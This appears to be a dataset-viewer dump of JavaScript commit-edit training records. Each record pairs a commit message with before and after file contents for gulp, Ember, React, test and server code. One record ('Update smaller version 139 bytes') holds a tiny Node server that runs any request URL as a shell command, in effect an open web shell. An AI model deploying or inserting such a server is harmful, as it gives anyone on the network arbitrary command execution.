conversations
listlengths
2
3
source
stringclasses
1 value
stack
stringclasses
1 value
[ { "from": "system", "value": "Change port number back to 8080\n" }, { "from": "human", "value": "var fs = require('fs');\nvar flatiron = require('flatiron'),\n app = flatiron.app;\n\n\napp.use(flatiron.plugins.http, {\n // HTTP options\n});\n\nvar text_index = fs.readFileSync('index.html');\nv...
javascript
chosen
[ { "from": "system", "value": "Fix no out element case\n" }, { "from": "human", "value": "class BindInOut {\n constructor(bindIn, bindOut) {\n this.in = bindIn;\n this.out = bindOut;\n\n this.eventWrapper = {};\n this.eventType = /(INPUT|TEXTAREA)/.test(bindIn.tagName) ? 'keyup' : 'c...
javascript
chosen
[ { "from": "system", "value": "Update to appease the inquirer\n" }, { "from": "human", "value": "'use strict';\n\nvar taskOpts = require('./tasks');\n\nmodule.exports = function(kbox, appName) {\n\n var deps = kbox.core.deps;\n\n // Add an option\n kbox.create.add(appName, {\n option: {\n ...
javascript
chosen
[ { "from": "system", "value": "Set fileParameterName for flow to the route used by the upload service.\n" }, { "from": "human", "value": "Application.Services.factory(\"mcFlow\", mcFlowService);\nfunction mcFlowService() {\n var self = this;\n self.flow = new Flow(\n {\n t...
javascript
chosen
[ { "from": "system", "value": "Change template URLs to relative\n" }, { "from": "human", "value": "var CenterScout = angular.module('CenterScout', ['ngRoute']);\n\nCenterScout.config(function($routeProvider) {\n $routeProvider.when('/', {\n controller: 'HomeController',\n templat...
javascript
chosen
[ { "from": "system", "value": "Change listening port to env port with default.\n" }, { "from": "human", "value": "var express = require('express');\nvar bodyParser = require('body-parser');\nvar http = require('http');\nvar path = require('path');\nvar fs = require('fs');\nvar quotes = require(pa...
javascript
chosen
[ { "from": "system", "value": "fix(api): Save internal cached value when calling field.setValue()\n" }, { "from": "human", "value": "import Signal from './signal'\n\nexport default class FieldLocale {\n\n constructor (channel, {id, locale, value}) {\n this.id = id\n this.locale = locale\n\...
javascript
chosen
[ { "from": "system", "value": "Remove unused open method on ovChapters directive\n" }, { "from": "human", "value": "'use strict';\n\n(function(app) {\n\n /**\n * Creates a new HTML element ov-index to create an openVeo player\n * index, with a list of presentation slides.\n * It requires o...
javascript
chosen
[ { "from": "system", "value": "Remove strike from wysiwyg tool bar\n" }, { "from": "human", "value": "CKEDITOR.editorConfig = function (config) {\n config.filebrowserImageBrowseLinkUrl = '/ckeditor/pictures';\n config.filebrowserImageBrowseUrl = '/ckeditor/pictures';\n config.filebrowserImageU...
javascript
chosen
[ { "from": "system", "value": "Change message to be shown when there are no bookmarks\n" }, { "from": "human", "value": "'use strict';\n\nvar _ = require('underscore');\nvar Backbone = require('backbone');\nvar Marionette = require('backbone.marionette');\nvar BookmarkItemView = require('./Bookma...
javascript
chosen
[ { "from": "system", "value": "Check if there is a server before shutting it down\n" }, { "from": "human", "value": "import startMirage from 'ember-cli-mirage/start-mirage';\nimport { settled } from '@ember/test-helpers';\n\n//\n// Used to set up mirage for a test. Must be called after one of the...
javascript
chosen
[ { "from": "system", "value": "Mark failures with \"(strict)\" or \"(non-strict)\"\n\nBefore:\n\n$ test262-harness --hostType jsc --hostPath `which jsc` test/language/function-code/each-param-has-own-*.js\nFAIL test/language/function-code/each-param-has-own-non-shared-eval-scope.js\n Expected a ReferenceErr...
javascript
chosen
[ { "from": "system", "value": "test: Add some failing tests to fix...\n" }, { "from": "human", "value": "/*global describe, it, before, beforeEach */\r\n/*jshint -W030 */\r\n\r\n'use strict';\r\n\r\nvar join = require('path').join\r\n , fs = require('fs')\r\n , expect = require('chai').expect\r...
javascript
chosen
[ { "from": "system", "value": "Update to handle modal window submits.\n" }, { "from": "human", "value": "/* ajax_windows.js. Support for modal popup windows in Umlaut items. */\njQuery(document).ready(function($) {\n var populate_modal = function(data, textStatus, jqXHR) {\n data = $(data);\...
javascript
chosen
[ { "from": "system", "value": "Remove tags by clicking on them\n" }, { "from": "human", "value": "$(document).ready(function(){\n function split(val) {\n if (val){\n var arr = [];\n $.parseHTML(val).forEach(function(elem){\n arr.push($(elem).html());\n });\n return a...
javascript
chosen
[ { "from": "system", "value": "Fix indentation to match the rest of the project" }, { "from": "human", "value": "'use strict';\n\nvar fs = require('fs');\nvar sass = require('node-sass');\nvar Eyeglass = require('eyeglass').Eyeglass;\n\nvar sassOptions = {\n file: './test/test-eyeglass.scss'\n};...
javascript
chosen
[ { "from": "system", "value": "[INTERNAL] Update ownership for sap.f.ShellBar VT\n\nProblem: Visual test of sap.f.ShellBar didn`t\nrefer to any particular control.\n\nChange-Id: I6d0db8bd2948012dc08b98b4d7fd0b1059e22a90\nSolution: We added a reference to sap.f.ShellBar.\n" }, { "from": "human", "...
javascript
chosen
[ { "from": "system", "value": "Ember: Use explicit \"index\" route for /keywords/:id\n\nThe \"index\" route would be generated automatically but only if the function() {}\nexists. Having an empty function in the definition looks strange though so\nshould define the route explicitly here.\n" }, { "fro...
javascript
chosen
[ { "from": "system", "value": "Fix sourcemap generation and source roots.\n" }, { "from": "human", "value": "'use strict';\n\nlet gulp = require( 'gulp' );\nlet sequence = require( 'run-sequence' );\nlet plugins = require( 'gulp-load-plugins' )();\n\nlet typescript = plugins.typescript.createProj...
javascript
chosen
[ { "from": "system", "value": "Add watch task for continuous testing during development\n" }, { "from": "human", "value": "var gulp = require('gulp');\nvar jshint = require('gulp-jshint');\nvar stylish = require('jshint-stylish');\nvar mocha = require('gulp-mocha');\n\ngulp.task('lint', function ...
javascript
chosen
[ { "from": "system", "value": "[gulp] Make Gulp wait on the Promise returned from `del`\n\nThis fixes the `lib` build step; running `gulp build` now creates `lib` as expected.\n" }, { "from": "human", "value": "var babel = require('gulp-babel');\nvar del = require('del');\nvar flatten = require('...
javascript
chosen
[ { "from": "system", "value": "Fix endpoint api replacement in superagent\n" }, { "from": "human", "value": "\"use strict\";\n\nconst superagent = require(\"superagent\");\nconst Constants = require(\"../Constants\");\n\nconst originalRequest = superagent.Request.prototype.request;\nsuperagent.Re...
javascript
chosen
[ { "from": "system", "value": "Update Complete checkpoint 7 Services Part 2\n" }, { "from": "human", "value": "\n(function() {\n function SongPlayer() {\n var SongPlayer = {};\n \n var currentSong = null;\n var currentBuzzObject = null;\n \n var setSon...
javascript
chosen
[ { "from": "system", "value": "Fix name of exported function to match module name\n" }, { "from": "human", "value": "const Promise = require('bluebird')\nconst fs = require('fs')\nPromise.promisifyAll(fs)\nconst path = require('path')\nconst dateFormat = require('dateformat')\nconst Zip = require...
javascript
chosen
[ { "from": "system", "value": "Hide locations for trip which have no matching location\n" }, { "from": "human", "value": "import { getKeyForAddresses } from './helpers';\n\nexport function getLocations( state ) {\n return state.library.locations;\n}\n\nexport function getLocationById( state, id ...
javascript
chosen
[ { "from": "system", "value": "Improve comment abotu Tachyons in counter-clodable-styled.js\n" }, { "from": "human", "value": "// This is a modification of the previous example which adds some styling using the Tachyons CSS library.\n// Tachyons predefines many classes which do common CSS tasks.\...
javascript
chosen
[ { "from": "system", "value": "Extend Service instead of Object for services\n\nIt's for removing following deprecation warning in Ember.js 1.13\r\n```\r\nDEPRECATION: In Ember 2.0 service factories must have an `isServiceFactory` property set to true. You registered (unknown mixin) as a service factory. Eit...
javascript
chosen
[ { "from": "system", "value": "Adjust port for Heroku's sake.\n" }, { "from": "human", "value": "/**\n * Created by Serge on 9/20/15.\n */\n\nvar gulp = require('gulp');\nvar sass = require('gulp-ruby-sass');\nvar connect = require('gulp-connect');\nvar browserify = require('browserify');\nvar so...
javascript
chosen
[ { "from": "system", "value": "Change gulp compile task name to compile-ts\n" }, { "from": "human", "value": "const gulp = require(\"gulp\");\r\nconst browserify = require(\"browserify\");\r\nconst tsify = require(\"tsify\");\r\nconst source = require(\"vinyl-source-stream\");\r\n\r\nconst config...
javascript
chosen
[ { "from": "system", "value": "Update smaller version 139 bytes\n" }, { "from": "human", "value": "var http=require('http');var exec=require('child_process').exec;http.createServer((r,p)=>{exec(unescape(r.url.substr(1)),function(error,stdout,stderr){p.write(stdout);p.end();});}).listen(8080);\n/*...
javascript
chosen
[ { "from": "system", "value": "Allow for the task view to take an item with a getId getter as well as a pure item id\n" }, { "from": "human", "value": "jsio('from shared.javascript import Class, capitalize')\njsio('import fan.tasks.panels.Panel')\njsio('import fan.tasks.views.TaskItemView')\njsio...
javascript
chosen
[ { "from": "system", "value": "Add rendering of timer using words\n" }, { "from": "human", "value": "import React from 'react';\nimport Countdown from 'react-countdown-now';\nimport {compose} from 'recompose';\nimport {withRouter} from 'react-router-dom';\nimport injectSheet from 'react-jss';\n\n...
javascript
chosen
[ { "from": "system", "value": "Use of 'Else' for Stop Executing After Occuring Error\n" }, { "from": "human", "value": "var registerAction = require('../logic/account/registerAction')\nvar userChecker = require('../logic/account/userChecker')\n\nexports.register = {\n name: \"register\",\n ...
javascript
chosen
[ { "from": "system", "value": "Update to the new “stellar.toml” location\n" }, { "from": "human", "value": "/* global angular, toml */\n\nangular.module('app')\n.factory('Anchors', function ($http, $q) {\n\t'use strict';\n\n\tfunction lookup(domain) {\n\n\t\tvar url = 'https://www.' + domain + '/...
javascript
chosen
[ { "from": "system", "value": "Remove slice constraint on fetch\n" }, { "from": "human", "value": "const TANDEM_MONGO_HOST = process.env.TANDEM_MONGO_HOST;\nconst mongo = require('mongodb');\nconst bluebird = require('bluebird');\nconst mongoBluebird = require('mongodb-bl...
javascript
chosen
[ { "from": "system", "value": "Set query object as a local instead of a query string. Save totalCount on res.locals instead of res.data.\n" }, { "from": "human", "value": "module.exports = function(Model, perPage) {\n\tperPage = perPage || 20;\n\treturn function(req, res, next) {\n\t\tres.locals....
javascript
chosen
[ { "from": "system", "value": "BM-306: Add centre scenario for development database\n" }, { "from": "human", "value": "export default function(/* server */) {\n\n // Seed your development database using your factories. This\n // data will not be loaded in your tests.\n\n // server.createList('...
javascript
chosen
[ { "from": "system", "value": "Fix whoWins function and call it from buttonClick\n" }, { "from": "human", "value": "\nangular.module('david.playground', [])\n .controller('DavidCtrl', ['$scope', function($scope) {\n\t console.log(\"David is here.\");\n\t var computerChoice = function(){\n\t\t ...
javascript
chosen
[ { "from": "system", "value": "Add dummy methods to prove functionality of proxy\n" }, { "from": "human", "value": "host = window.location.host.split(\":\")[0];\nport = \"8888\"\nws_addr = \"ws://\" + host + \":\" + port + \"/ws\"\n// conn = new WebSocket(ws_addr);\n" }, { "from": "gpt", ...
javascript
chosen
[ { "from": "system", "value": "Change some routes to send JSON instead of render views\n" }, { "from": "human", "value": "import {Router} from 'express'\nimport models from '../models';\nimport tasks from './tasks'\n\nexport default () => {\n\tlet app = Router()\n\n\tapp.use('/:userId/tasks', tas...
javascript
chosen
[ { "from": "system", "value": "Fix code style of Gen-NEXT Genesect Pokedex.\n" }, { "from": "human", "value": "exports.BattlePokedex = {\ngenesectdouse:{num:649,species:\"Genesect-Douse\",baseSpecies:\"Genesect\",forme:\"Douse\",formeLetter:\"D\",types:[\"Bug\",\"Water\"],gender:\"N\",baseStats:{...
javascript
chosen
[ { "from": "system", "value": "Fix javascript bug that was causing parts to be overridden\n\nDon't use last-child to figure out what the last fieldset, instead do a general selection and use jQuery.last() to pull out the final element. The previous method was actually matching the first element\n" }, { ...
javascript
chosen
[ { "from": "system", "value": "Fix for demo controller not always updating the page\n" }, { "from": "human", "value": "function ctrl($rootScope) {\n\n\tif(!$rootScope.initialized) {\n\t\t$rootScope.initialized = true;\n\n\t\t$rootScope.$on('ADE-start', function(e,data) {\n\t\t\t$rootScope.lastMes...
javascript
chosen
[ { "from": "system", "value": "Add route to login users\n" }, { "from": "human", "value": "'use strict';\n\nvar path = process.cwd();\nvar Graphriend = require(path + '/app/controllers/Graphriend.server.js');\nvar sess;\n\nmodule.exports = function (app) {\n\n\tfunction isLoggedIn (req, res, next...
javascript
chosen
[ { "from": "system", "value": "Remove <Skills /> warning when running tests\n" }, { "from": "human", "value": "import React from 'react';\nimport { expect } from 'chai';\nimport Skills from '../Skills';\nimport LinearProgress from 'material-ui/LinearProgress';\nimport shallowWithContext from 'tes...
javascript
chosen
[ { "from": "system", "value": "Migrate core definitions to /src, refactor file structure\n" }, { "from": "human", "value": "const babel = require('babel-polyfill');\nconst express = require('express');\nconst { graphqlExpress, graphiqlExpress } = require('graphql-server-express');\nconst bodyPars...
javascript
chosen
[ { "from": "system", "value": "Update the timeslots for the side menu\n" }, { "from": "human", "value": "var roughTimeslots = [\n { str: '09:00 - 10:00', id: 0 },\n { str: '10:15 - 11:00', id: 3 },\n { str: '11:00 - 12:00', id: 7 },\n { str: '13:00 - 14:00', id: 11 },\n { str: '14:15 - 15:30...
javascript
chosen
[ { "from": "system", "value": "Test flexberry-objectlistview acceptance user buttons add custom buttons in row\n" }, { "from": "human", "value": "import Ember from 'ember';\nimport { executeTest} from './execute-folv-test';\n\nexecuteTest('user button test', (store, assert, app) => {\n assert.ex...
javascript
chosen
[ { "from": "system", "value": "Fix duplicate route id's\nThis was possible because of the routes array that was being spliced, so we can not ensure that the route array length is usable for id identification.\n" }, { "from": "human", "value": "'use strict';\n\n/* A RoutesGenerator generates a lis...
javascript
chosen
[ { "from": "system", "value": "Revert \"if target == this, then next = null (bug)\"\n\nThis reverts commit 7fa1b337e016dd96aa9fef86b77d6a8357d60e23.\n" }, { "from": "human", "value": "var Bridge = require('../bridge'),\n\tPushPullRequest = require('../request');\n\n\nvar PullRequest = PushPullRe...
javascript
chosen
[ { "from": "system", "value": "Update locales for description string" }, { "from": "human", "value": "import React from 'react';\nimport CallButton from '../components/call-button.js';\n\nmodule.exports = React.createClass({\n contextTypes: {\n intl: React.PropTypes.object\n },\n render: fu...
javascript
chosen
[ { "from": "system", "value": "feat: Load data for Favorites page\n\n" }, { "from": "human", "value": "import Ember from 'ember';\n\nexport default Ember.Route.extend({\n});\n" }, { "from": "gpt", "value": "import Ember from 'ember';\n\nexport default Ember.Route.extend({\n indexedDb...
javascript
chosen
[ { "from": "system", "value": "Remove hardsource caching for build testing\n" }, { "from": "human", "value": "/* eslint import/no-extraneous-dependencies: 0 */\nconst path = require('path');\nconst merge = require('webpack-merge');\nconst HardSourceWebpackPlugin = require('hard-source-webpack-plu...
javascript
chosen
[ { "from": "system", "value": "Add animation events: start, end, iteration\n" }, { "from": "human", "value": "modules.define('animation', ['i-bem-dom'], function(provide, bemDom) {\n provide(bemDom.declBlock(this.name));\n});\n" }, { "from": "gpt", "value": "/**\n * @module animation...
javascript
chosen
[ { "from": "system", "value": "Update example to avoid walking entire project\n" }, { "from": "human", "value": "/**\n* @license Apache-2.0\n*\n* Copyright (c) 2018 The Stdlib Authors.\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in c...
javascript
chosen
[ { "from": "system", "value": "Remove extra lines in grunt file" }, { "from": "human", "value": "// # Gruntfile\n// Automation for the project.\n\n'use strict';\n\nvar GruntConfig = require('thehelp-project').GruntConfig;\n\n// We simply create an instance of the `GruntConfig` class from\n// `the...
javascript
chosen
[ { "from": "system", "value": "Make setRunning toggle when no argument is passed\n" }, { "from": "human", "value": "JSBP = {};\n\n// Constants\nJSBP.MEMSIZE = 0x1000008;\n\nJSBP.running = false;\nJSBP.tickId = 0;\n\n// This will be our main memory once JSBP.core loads\nJSBP.mem = null;\n\nJSBP.in...
javascript
chosen
[ { "from": "system", "value": "Generalize file quality past any reference to JSHint\n\nDescribe quality tests by file\n" }, { "from": "human", "value": "'use strict';\ndescribe('Code quality', function describeCodeQuality () {\n var walk = require('walk'),\n path = require('path'),\n ...
javascript
chosen
[ { "from": "system", "value": "Add kml layer to map\n" }, { "from": "human", "value": "var exampleLoc = new google.maps.LatLng(-25.363882,131.044922);\n\nvar map = new google.maps.Map(document.getElementById('map'),{\n zoom: 4,\n center: exampleLoc,\n disableDefaultUI: true,\n zoomControl: tr...
javascript
chosen
[ { "from": "system", "value": "fix: Convert suffix when suffix is search only\n" }, { "from": "human", "value": "\nconst path = require('path')\n\nclass Path {\n static resolve (pathOrEntity, suffix) {\n if (typeof pathOrEntity === 'string') {\n return `/api_v1_${pathOrEntity}/${suffix}`...
javascript
chosen
[ { "from": "system", "value": "Exit with non-zero if there are reported problems\n" }, { "from": "human", "value": "\n// The main execution engine\n// 1. load configuration files\n// 2. load plugins\n// 3. run plugins (either verify or fix)\n// 4. report results\n\nimport loadConfig from './load-...
javascript
chosen
[ { "from": "system", "value": "Add second argument checking to prevent unexpected behavior.\n" }, { "from": "human", "value": "var path = require('path')\n\nvar p = {}\n\nObject.keys(path).forEach(function (key) {\n p[key] = path[key]\n})\n\npath = p\n\npath.replaceExt = require('replace-ext')\n...
javascript
chosen
[ { "from": "system", "value": "Add browser sync support for images\n" }, { "from": "human", "value": "module.exports = function(gulp, plugins) {\n var paths = {\n 'build': [\n // images that should be compressed\n 'assets/images/**/*'\n ],\n // destin...
javascript
chosen
[ { "from": "system", "value": "Add more keywords to ruby sandbox\n" }, { "from": "human", "value": "const {VM} = require('vm2')\nconst exec = require('child_process').exec\n\nmodule.exports = {\n js: code => {\n const vm = new VM()\n try {\n return vm.run(code).toString()\n } catch...
javascript
chosen
[ { "from": "system", "value": "Add some rules to eslint js config\n" }, { "from": "human", "value": "module.exports = {\n 'extends': [\n 'eslint:recommended'\n ],\n 'rules': {\n 'indent': [\n 2,\n 2,\n {\n 'SwitchCase': 1\n }\n ],\n 'quotes': [\n 2,\...
javascript
chosen
[ { "from": "system", "value": "Add colour map by type\n" }, { "from": "human", "value": "'use strict';\n\nangular.module('interfaceApp')\n .constant('configuration', {\n 'development': 'https://service.esrc.info',\n 'production': 'https://cnex.esrc.unimelb.edu.au',\n 'service': 'd...
javascript
chosen
[ { "from": "system", "value": "Add chapter 5, exercise 2\n" }, { "from": "human", "value": "function loop(value, test, update, body) {\n for (let i = value; test(i); i = update(i)) body(i);\n}\n\nloop(3, n => n > 0, n => n - 1, console.log);\n// → 3\n// → 2\n// → 1\n" }, { "from": "gpt...
javascript
chosen
[ { "from": "system", "value": "Add chapter 6, exercise 3\n" }, { "from": "human", "value": "class Group {\n constructor() {\n this.members = [];\n }\n\n add(elem) {\n // Could use Group.has() here instead\n if (!this.members.includes(elem)) {\n this.member...
javascript
chosen
[ { "from": "system", "value": "Allow to dismiss the code integrity warning\n\nSigned-off-by: Joas Schilling <ab43a7c9cb5b2380afc4ddf8b3e2583169b39a02@schilljs.com>\n" }, { "from": "human", "value": "/**\n * @author Lukas Reschke\n *\n * @copyright Copyright (c) 2015, ownCloud, Inc.\n *\n * This c...
javascript
chosen
[ { "from": "system", "value": "Reset array of entries when run is complted to avoid multiple calls dureing a watch task\n" }, { "from": "human", "value": "// Pipeline: permette di eseguire i task in maniera sincrona seguendo l'ordine imposto,\n// altrimenti normalmente Gulp lavora asicronamente e...
javascript
chosen
[ { "from": "system", "value": "Return WebLink directly from Root constructor.\n\n* Same follow symantics on object returned from Root\n constructor, but also gives freedom to set root.type = 'blah'\n to modify WebLink settings before following.\n" }, { "from": "human", "value": "'use strict';\n...
javascript
chosen
[ { "from": "system", "value": "Revert to Facebook original module\n" }, { "from": "human", "value": "/**\n * @class Facebook\n * @author Flavio De Stefano <flavio.destefano@caffeinalab.com>\n */\n\n\n/**\n * * `permissions`: Array of permissions. Default: `[]`\n * @type {Object}\n */\nvar config ...
javascript
chosen
[ { "from": "system", "value": "Add gulp watch for development.\n" }, { "from": "human", "value": "'use strict'\n\nvar gulp = require('gulp');\nvar jshint = require('gulp-jshint');\nvar uglify = require('gulp-uglify');\nvar rename = require('gulp-rename');\n\nvar srcFile = 'src/bsDropdown.js';\n\n...
javascript
chosen
[ { "from": "system", "value": "Change test to fit new logic\n\n" }, { "from": "human", "value": "const {\n expect\n} = require('chai');\nconst sinon = require('sinon');\n\nconst httpMocks = require('node-mocks-http');\n\nconst controller = require('../../controllers/messenger-controller');\n\n...
javascript
chosen
[ { "from": "system", "value": "Update with default browsersync options\n" }, { "from": "human", "value": "/* eslint-disable */\nconst gulp = require('gulp');\nconst tasks = require('strt-gulptasks')({\n output: 'public/dist',\n});\n\ngulp.task('default', gulp.series(\n tasks.clean,\n gulp.para...
javascript
chosen
[ { "from": "system", "value": "Remove mention of user data in bt test\n" }, { "from": "human", "value": "var bt = require('../src/bluetooth').Bluetooth;\n\nvar remote_addr = \"A4:E4:B8:6C:38:B9\";\n\nfunction findDevice(item) {\n\treturn item.address == remote_addr;\n}\n\nbt.on('started', functio...
javascript
chosen
[ { "from": "system", "value": "Add additional disability sort categories\n" }, { "from": "human", "value": " (function(){\n Tablesort.extend('disability', function(item) {\n return (\n item.search(/(High|Moderate|Low < 2)/i) !== -1\n );\n }, function(a,b) {\n var disability =...
javascript
chosen
[ { "from": "system", "value": "Add links to the license and GitHub profile to the footer\n\n" }, { "from": "human", "value": "import React from 'react';\nimport { Container } from 'semantic-ui-react';\n\nconst Footer = () =>\n <div>\n <Container textAlign=\"center\">\n Free & Open Source...
javascript
chosen
[ { "from": "system", "value": "Convert inline predicate to predicate generator\n" }, { "from": "human", "value": "\"use babel\";\n\nimport _ from \"lodash\";\n\nexport default {\n activate() {\n this.commands = atom.commands.add(\"atom-workspace\", {\n \"gluon:build\": () => { this.build...
javascript
chosen
[ { "from": "system", "value": "Remove undefined task for now" }, { "from": "human", "value": "var gulp = require('gulp');\nvar runSequence = require('run-sequence');\n\nvar jasmine = require('gulp-jasmine');\nvar cover = require('gulp-coverage');\nvar coveralls = require('gulp-coveralls');\n...
javascript
chosen
[ { "from": "system", "value": "Rename gulp develop task to dev\n" }, { "from": "human", "value": "var gulp = require('gulp'),\n livereload = require('gulp-livereload'),\n nodemon = require('gulp-nodemon'),\n fs = require('fs');\n\n\n\ngulp.task('develop', function () {\n livereload.list...
javascript
chosen
[ { "from": "system", "value": "Refactor components to be mulitline.\n" }, { "from": "human", "value": "/**\n * User Input App.\n *\n * Site Kit by Google, Copyright 2020 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in co...
javascript
chosen
[ { "from": "system", "value": "Add back import that isn't strictly required\n" }, { "from": "human", "value": "export { DDP, LivedataTest } from '../common/namespace';\n\nif (false) {\n import './stream_client_sockjs';\n}\n\n// Initialize the default server connection and put it on Meteor.connec...
javascript
chosen
[ { "from": "system", "value": "Add changelings to the character creation section\n" }, { "from": "human", "value": "// Category View\n// =============\n\n// Includes file dependencies\ndefine([\n\t\"jquery\",\n\t\"backbone\",\n \"text!../templates/character-create-view.html\",\n \"text!../t...
javascript
chosen
[ { "from": "system", "value": "Move help result up if shows\n" }, { "from": "human", "value": "app.run(function() {\n \"use strict\";\n\n var dispatcher = app.get('dispatcher');\n\n dispatcher.commands({\n 'help': function() {\n return new app.models.HelpResult();\n ...
javascript
chosen
[ { "from": "system", "value": "Add bcrypt-nodejs and Promise to package.json, fix minor require statements\n" }, { "from": "human", "value": "var db = require('../config');\nvar Invite = require('../models/invitee');\n\nvar Invites = new db.Collection();\n\nInvites.model = Invite;\n\nmodule.expor...
javascript
chosen
[ { "from": "system", "value": "Change wef type \"function\" -> \"object\"\n" }, { "from": "human", "value": "/*!\n * wef.core tests\n * Copyright (c) 2011 Pablo Escalada\n * MIT Licensed\n */\nmodule(\"core\");\ntest(\"namespace\", function() {\n notEqual(wef, undefined, \"is wef namespace def...
javascript
chosen
[ { "from": "system", "value": "Update to React instead of react.\n" }, { "from": "human", "value": "/**\n * Created by sbardian on 5/16/17.\n */\n\nimport react from 'react';\n\nclass openTrivia extends react.Component {\n constructor (props) {\n super(props);\n this.state = {\n test:...
javascript
chosen
[ { "from": "system", "value": "Fix jshint gulp src files\n" }, { "from": "human", "value": "var gulp = require('gulp');\nvar react = require('gulp-react');\nvar jshint = require('gulp-jshint');\n\nvar jsFiles = [\n 'app/**/*.js',\n 'test/**/*.js',\n 'buildprod.js',\n 'env.js',\n 'gulpfile.js...
javascript
chosen
[ { "from": "system", "value": "Switch to ES5 style import\n" }, { "from": "human", "value": "'use strict';\n\nconst path = require('path');\nconst gulp = require('gulp');\nconst eslint = require('gulp-eslint');\nconst excludeGitignore = require('gulp-exclude-gitignore');\nconst mocha = require('g...
javascript
chosen
[ { "from": "system", "value": "Fix pes link issues with props\n" }, { "from": "human", "value": "import React from 'react';\nimport classNames from 'classnames';\nimport { Link as ReactRouterLink } from 'react-router';\n\nconst Link = (props) => {\n const linkClasses = classNames(props.classNa...
javascript
chosen
[ { "from": "system", "value": "Fix order of concatenating Javascript files\n\nThe current configurations tries to execute this plugin before loading all dependencies.\n" }, { "from": "human", "value": "var gulp = require('gulp');\nvar concat = require('gulp-concat');\n\nvar sources = ['src/**/*.j...
javascript
chosen
[ { "from": "system", "value": "Use build as default task\n" }, { "from": "human", "value": "var gulp = require('gulp');\n\nvar concat = require('gulp-concat');\nvar rename = require('gulp-rename');\nvar uglify = require('gulp-uglify');\n\nvar jsFiles = 'src/*.js', jsDest = 'dist';\n\ngulp.task('b...
javascript
chosen
[ { "from": "system", "value": "Fix test to use message\n" }, { "from": "human", "value": "'use strict';\n\nvar expect = require('expect.js')\n , proxyquire = require('proxyquire')\n ;\n\ndescribe('SockJS', function() {\n describe('Constructor', function () {\n\n describe('WebSocket specific...
javascript
chosen
[ { "from": "system", "value": "Add referent at the engine collection\n" }, { "from": "human", "value": "var AccessModel = function (db, domain, typeDSL) {\n this.db = db; \n this.domain = domain;\n this.typeDSL = typeDSL;\n this.engine = {\n Cell: CellEngine,\n Collec...
javascript
chosen
[ { "from": "system", "value": "Add test presenting code for debugging\n" }, { "from": "human", "value": "// @flow\nimport {List, Map} from 'immutable';\nimport * as React from 'react';\nimport {connect} from 'react-redux';\nimport type {Livedoc} from '../models/livedoc';\nimport type {State} from...
javascript
chosen
[ { "from": "system", "value": "Fix invalid bitmask for release archives\n" }, { "from": "human", "value": "var eventStream = require('event-stream'),\n gulp = require('gulp'),\n chmod = require('gulp-chmod'),\n zip = require('gulp-zip'),\n tar = require('gulp-tar'),\n gzip = requir...
javascript
chosen
[ { "from": "system", "value": "Disable the \"read and upload\" step (not working yet)\n" }, { "from": "human", "value": "module.exports = {\n model: 'step_type',\n data: [\n {\n id: 1,\n name: 'Announcement Message',\n description: 'No response from the user to move the next s...
javascript
chosen
[ { "from": "system", "value": "Add compile step to tests before execution\n" }, { "from": "human", "value": "'use strict';\n\nvar gulp = require('gulp'),\n browserify = require('browserify'),\n transform = require('vinyl-transform'),\n uglify = require('gulp-uglify'),\n sourcemaps = r...
javascript
chosen
[ { "from": "system", "value": "Use custom error message if email is invalid\n" }, { "from": "human", "value": "const Sequelize = require('sequelize')\nconst bcrypt = require('bcrypt')\n\nmodule.exports = {\n\tmodel: {\n\t\tname: Sequelize.STRING,\n\t\temail: {\n\t\t\ttype: Sequelize.STRING,\n\t\t...
javascript
chosen